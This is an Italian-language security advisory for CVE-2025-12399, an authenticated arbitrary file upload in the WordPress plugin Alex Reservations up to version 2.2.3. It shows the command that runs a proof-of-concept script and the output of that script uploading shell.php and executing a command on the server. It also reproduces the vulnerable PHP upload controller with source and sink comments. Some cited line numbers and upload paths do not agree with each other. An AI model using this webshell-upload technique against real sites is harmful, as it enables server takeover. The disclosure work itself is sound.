
Alex Reservations: Smart Restaurant Booking <= 2.2.3 - Caricamento Arbitrario di File Autenticato (Admin+)
Alex Reservations: Smart Restaurant Booking <= 2.2.3 - Caricamento arbitrario di file (autenticato: Admin+)
Il plugin WordPress Alex Reservations (versioni 2.2.3 e precedenti) contiene una vulnerabilità di caricamento arbitrario di file che consente agli amministratori WordPress autenticati di caricare file PHP dannosi sul server, portando potenzialmente all'esecuzione di codice remoto.
Viene fornito un POC CVE-2025-12399.py per dimostrare un attaccante remoto che carica shell.php ed esegue codice remoto:
python3 ./CVE-2025-12399.py https://TARGETSITE.com admin "$PASSWORD"
[+] Target: http://TARGETSITE.com
[+] Username: admin
[+] Nonce obtained: 022b25d0a5
[+] File uploaded successfully!
[+] Shell URL: https://TARGETSITE.com/wp-content/uploads/alex-reservations/2025/10/shell.php
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
La vulnerabilità è presente nel file UploadFileController.php nell'endpoint /wp-json/srr/v1/app/upload/file. La funzionalità di caricamento non esegue una corretta validazione dei file e applica solo una sanitizzazione di base del nome file tramite un pattern regex. Ciò consente agli amministratori WordPress autenticati di caricare file arbitrari, inclusi file PHP che possono essere eseguiti sul server.
Sorgente: Input utente da $_FILES['file'] (riga 13)
Sink: copy($file['tmp_name'], $target_dir_file) (riga 38)
La vulnerabilità si verifica perché:
routes.php.UploadFileController estende il Controller base.$_FILES['file'] vengono elaborati direttamente senza validazione.preg_replace('/[^a-z0-9_\.\-[:space:]]/i', '_', $file_name) (riga 50)wp-content/uploads/alexr-uploads/YYYY/MM/ senza validazione del tipo MIME o restrizioni sull'estensione dei file.File: includes/application/Alexr/Http/Controllers/UploadFileController.php
Righe: 11-53
public function upload(Request $request)
{
$file = $_FILES['file']; // SOURCE: User input ([line 13](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L13))
// Target dir / url
$upload_dir = wp_upload_dir();
$date = evavel_date_now()->format('Y/m');
$base_dir = $upload_dir['basedir'].'/'.ALEXR_UPLOAD_FOLDER.'/'.$date;
$base_url = $upload_dir['baseurl'].'/'.ALEXR_UPLOAD_FOLDER.'/'.$date;
if (!file_exists($base_dir)) {
$folder_created = wp_mkdir_p($base_dir);
if (!$folder_created) {
return $this->response([
'success' => false,
'error' => __eva('Error creating folder.')
]);
}
}
$file_name = $file['name'];
$file_name = preg_replace('/[^a-z0-9_\.\-[:space:]]/i', '_', $file_name); // Only basic sanitization ([line 50](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L50))
$target_dir_file = $base_dir.'/'.$file_name;
$target_url_file = $base_url.'/'.$file_name;
$result = copy($file['tmp_name'], $target_dir_file); // SINK: Direct file copy ([line 38](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L38))
if (!$result) {
return $this->response([
'success' => false,
'error' => __eva('Error saving file.')
]);
}
return $this->response([
'success' => true,
'file_path' => $target_dir_file,
'file_url' => $target_url_file,
'message' => __eva('Uploaded.')
]);
}